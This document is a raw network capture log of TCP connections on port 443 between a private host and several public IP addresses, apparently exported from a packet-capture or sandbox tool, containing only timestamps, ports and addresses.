Nov 30, 2024 04:12:05.335141897 CET	443	49708	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:05.335334063 CET	49708	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:05.338078976 CET	49708	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:05.338088036 CET	443	49708	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:05.338326931 CET	443	49708	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:05.349553108 CET	49708	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:05.349627018 CET	49708	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:05.349632978 CET	443	49708	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:05.349734068 CET	49708	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:05.391335964 CET	443	49708	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:05.662460089 CET	49674	443	192.168.2.6	173.222.162.64
Nov 30, 2024 04:12:05.662518978 CET	49673	443	192.168.2.6	173.222.162.64
Nov 30, 2024 04:12:05.705714941 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:05.705760956 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:05.705789089 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:05.705815077 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:05.705852985 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:05.705874920 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:05.705904961 CET	49709	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:05.705926895 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:05.705957890 CET	49709	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:05.721848965 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:05.721894979 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:05.721971035 CET	49709	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:05.721986055 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:05.722048044 CET	49709	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:05.730261087 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:05.771878004 CET	49709	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:05.825670958 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:05.881256104 CET	49709	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:05.881269932 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:05.909328938 CET	443	49708	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:05.909420013 CET	443	49708	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:05.909524918 CET	49708	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:05.909797907 CET	49708	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:05.909820080 CET	443	49708	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:05.914701939 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:05.914808989 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:05.914856911 CET	49709	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:05.914894104 CET	49709	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:05.915090084 CET	49709	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:05.915107965 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:05.915136099 CET	49709	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:05.915142059 CET	443	49709	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:05.990545988 CET	49672	443	192.168.2.6	173.222.162.64
Nov 30, 2024 04:12:06.053469896 CET	49711	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:06.053534031 CET	443	49711	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:06.053617001 CET	49711	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:06.054037094 CET	49711	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:06.054054022 CET	443	49711	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:07.360198975 CET	443	49711	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:07.360286951 CET	49711	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:07.361629009 CET	49711	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:07.361639977 CET	443	49711	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:07.361870050 CET	443	49711	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:07.363104105 CET	49711	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:07.363303900 CET	49711	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:07.363342047 CET	443	49711	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:07.580066919 CET	443	49710	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:07.580220938 CET	49710	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:07.582438946 CET	49710	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:07.582453012 CET	443	49710	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:07.582778931 CET	443	49710	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:07.585123062 CET	49710	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:07.585189104 CET	49710	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:07.585194111 CET	443	49710	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:07.585326910 CET	49710	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:07.631331921 CET	443	49710	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:08.139364958 CET	443	49710	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:08.139470100 CET	443	49710	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:08.139540911 CET	49710	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:08.139853954 CET	49710	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:08.139883995 CET	443	49710	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:08.332344055 CET	443	49711	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:08.332452059 CET	443	49711	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:08.332534075 CET	49711	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:08.332674980 CET	49711	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:08.332690001 CET	443	49711	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:08.440324068 CET	443	49702	173.222.162.64	192.168.2.6
Nov 30, 2024 04:12:08.440426111 CET	49702	443	192.168.2.6	173.222.162.64
Nov 30, 2024 04:12:08.478856087 CET	49712	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:08.478912115 CET	443	49712	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:08.478990078 CET	49712	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:08.479357958 CET	49712	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:08.479372978 CET	443	49712	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:09.784672976 CET	443	49712	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:09.784754992 CET	49712	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:09.786636114 CET	49712	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:09.786649942 CET	443	49712	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:09.786914110 CET	443	49712	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:09.788595915 CET	49712	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:09.788801908 CET	49712	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:09.788835049 CET	443	49712	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:09.788903952 CET	49712	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:09.788909912 CET	443	49712	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:10.758696079 CET	443	49712	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:10.758790970 CET	443	49712	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:10.758846045 CET	49712	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:10.759010077 CET	49712	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:10.759027004 CET	443	49712	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:11.083812952 CET	49713	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:11.083884954 CET	443	49713	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:11.084003925 CET	49713	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:11.084465027 CET	49713	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:11.084496975 CET	443	49713	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:11.936356068 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:11.936408997 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:11.936506987 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:11.936904907 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:11.936920881 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:12.393218994 CET	443	49713	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:12.393364906 CET	49713	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:12.394865990 CET	49713	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:12.394891024 CET	443	49713	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:12.395153046 CET	443	49713	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:12.396514893 CET	49713	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:12.396697044 CET	49713	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:12.396743059 CET	443	49713	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:12.396841049 CET	49713	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:12.396857977 CET	443	49713	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:13.416910887 CET	443	49713	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:13.417012930 CET	443	49713	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:13.417186975 CET	49713	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:13.417222977 CET	49713	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:13.805229902 CET	49715	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:13.805283070 CET	443	49715	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:13.805380106 CET	49715	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:13.805748940 CET	49715	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:13.805758953 CET	443	49715	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:13.812424898 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:13.812546015 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:13.814127922 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:13.814135075 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:13.814444065 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:13.823424101 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:13.871336937 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.306276083 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.306303978 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.306377888 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.306444883 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.306468010 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.306540012 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.499078989 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.499100924 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.499182940 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.499197006 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.499247074 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.499247074 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.550236940 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.550251961 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.550343037 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.550352097 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.550374031 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.550388098 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.695965052 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.695997000 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.696233988 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.696252108 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.696316957 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.723263025 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.723287106 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.723468065 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.723483086 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.723541021 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.744196892 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.744216919 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.744374037 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.744385004 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.744436026 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.764976978 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.764997959 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.765336990 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.765347004 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.765460968 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.896930933 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.896955013 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.897109032 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.897128105 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.897190094 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.910798073 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.910815001 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.910907030 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.910917044 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.910957098 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.928493023 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.928524017 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.928649902 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.928649902 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.928663015 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.928778887 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.944351912 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.944377899 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.944623947 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.944643974 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.944699049 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.956191063 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.956211090 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.956290007 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.956296921 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.956345081 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.956345081 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.974877119 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.974899054 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.975017071 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.975023985 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.975069046 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.979437113 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.979518890 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.979564905 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.979564905 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.979599953 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.979599953 CET	49714	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:14.979614973 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:14.979624987 CET	443	49714	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:15.020886898 CET	443	49715	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:15.020952940 CET	49715	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:15.023283958 CET	49715	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:15.023293972 CET	443	49715	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:15.023605108 CET	443	49715	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:15.025614977 CET	49715	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:15.025819063 CET	49715	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:15.025824070 CET	443	49715	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:15.041920900 CET	49716	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:15.041976929 CET	443	49716	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:15.042061090 CET	49716	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:15.042582989 CET	49717	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:15.042643070 CET	443	49717	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:15.042702913 CET	49717	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:15.044081926 CET	49718	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:15.044092894 CET	443	49718	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:15.044147015 CET	49718	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:15.044982910 CET	49719	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:15.045003891 CET	443	49719	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:15.045059919 CET	49719	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:15.045661926 CET	49719	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:15.045676947 CET	49720	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:15.045689106 CET	443	49719	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:15.045731068 CET	443	49720	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:15.045739889 CET	49716	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:15.045754910 CET	443	49716	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:15.045835972 CET	49718	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:15.045847893 CET	443	49718	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:15.045886993 CET	49720	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:15.045937061 CET	49717	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:15.045959949 CET	443	49717	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:15.045999050 CET	49720	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:15.046015024 CET	443	49720	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:15.823369026 CET	443	49715	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:15.823471069 CET	443	49715	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:15.823534966 CET	49715	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:15.823666096 CET	49715	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:15.823683977 CET	443	49715	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:16.179996014 CET	49721	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:16.180043936 CET	443	49721	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:16.180111885 CET	49721	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:16.182077885 CET	49721	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:16.182094097 CET	443	49721	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:16.309777975 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:16.309818983 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:16.309895992 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:16.310199976 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:16.310210943 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:16.643884897 CET	443	49719	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:16.644731045 CET	49719	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:16.644793034 CET	443	49719	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:16.645299911 CET	49719	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:16.645312071 CET	443	49719	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:16.762475014 CET	443	49720	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:16.763484001 CET	49720	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:16.763509035 CET	443	49720	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:16.763983011 CET	49720	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:16.763994932 CET	443	49720	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:16.831290007 CET	443	49716	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:16.831662893 CET	49716	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:16.831686974 CET	443	49716	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:16.832123995 CET	49716	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:16.832128048 CET	443	49716	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:16.844085932 CET	443	49718	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:16.844423056 CET	49718	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:16.844434023 CET	443	49718	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:16.844846964 CET	49718	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:16.844851017 CET	443	49718	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:16.890789986 CET	443	49717	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:16.891144037 CET	49717	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:16.891194105 CET	443	49717	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:16.891648054 CET	49717	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:16.891663074 CET	443	49717	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:16.999593019 CET	49724	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:16.999634027 CET	443	49724	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:16.999761105 CET	49724	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:17.000307083 CET	49724	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:17.000319004 CET	443	49724	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:17.093918085 CET	443	49719	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.093939066 CET	443	49719	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.094014883 CET	49719	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.094068050 CET	443	49719	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.094580889 CET	443	49719	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.094651937 CET	49719	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.094721079 CET	49719	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.094757080 CET	443	49719	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.094782114 CET	49719	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.094811916 CET	443	49719	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.097450972 CET	49725	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.097486973 CET	443	49725	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.097573996 CET	49725	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.097703934 CET	49725	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.097719908 CET	443	49725	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.204358101 CET	443	49720	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.204437971 CET	443	49720	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.204626083 CET	49720	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.204936028 CET	49720	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.204936028 CET	49720	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.204952955 CET	443	49720	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.204962015 CET	443	49720	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.207649946 CET	49726	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.207694054 CET	443	49726	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.207798004 CET	49726	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.207940102 CET	49726	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.207952023 CET	443	49726	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.293968916 CET	443	49718	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.293991089 CET	443	49718	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.294064045 CET	49718	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.294089079 CET	443	49718	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.294140100 CET	49718	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.294306040 CET	49718	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.294311047 CET	443	49718	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.294325113 CET	49718	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.294455051 CET	443	49718	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.294485092 CET	443	49718	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.294544935 CET	49718	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.296786070 CET	49727	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.296844006 CET	443	49727	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.296921015 CET	49727	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.297072887 CET	49727	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.297087908 CET	443	49727	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.302472115 CET	443	49716	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.302536964 CET	443	49716	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.302618980 CET	49716	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.302735090 CET	49716	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.302748919 CET	443	49716	13.107.246.63	192.168.2.6
